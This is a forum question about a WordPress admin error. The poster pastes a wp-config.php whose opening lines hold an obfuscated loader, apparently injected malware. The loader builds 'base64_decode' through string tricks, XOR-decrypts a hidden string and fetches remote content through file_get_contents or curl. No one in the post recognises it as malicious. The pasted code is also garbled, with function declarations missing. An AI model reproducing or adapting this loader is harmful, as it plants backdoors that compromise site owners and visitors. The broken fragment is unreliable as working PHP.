Header information error in Wordpress - php

Question

My wp-admin page on my wordpress is giving me this error. I was getting a blank screen so I turned on debug.
Warning: Cannot modify header information - headers already sent by
(output started at/home/content/n3pnexwpnas01_data01/71/3047171/html/wp-config.php:1) in
/home/content/n3pnexwpnas01_data01/71/3047171/html/wp-
includes/pluggable.php on line 1216
I checked my problematic wp-config.php file at line 1 and it doesn't seem to have extra spaces or extra tags at the beginning or end of the file that other guides recommend I get rid of. Does anyone have any advice?
This is the wp-config.php file
<?php
#ini_set('display_errors', '0');
error_reporting(0);

$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLUocQYT5ZtHJf/cM1fWdrpdmmSLH6uToRkH";
if (ini_get('allow_url_fopen')) {
function get_data_ya($url) {
$data = file_get_contents($url);
return $data;
}
}
else {

curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}

{
$fe = "wp_frmfunct";
$len = strlen($fd);
$ff = '';
$n = $len>100 ? 8 : 2;
while( strlen($ff)<$len )
{
$ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
}
return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
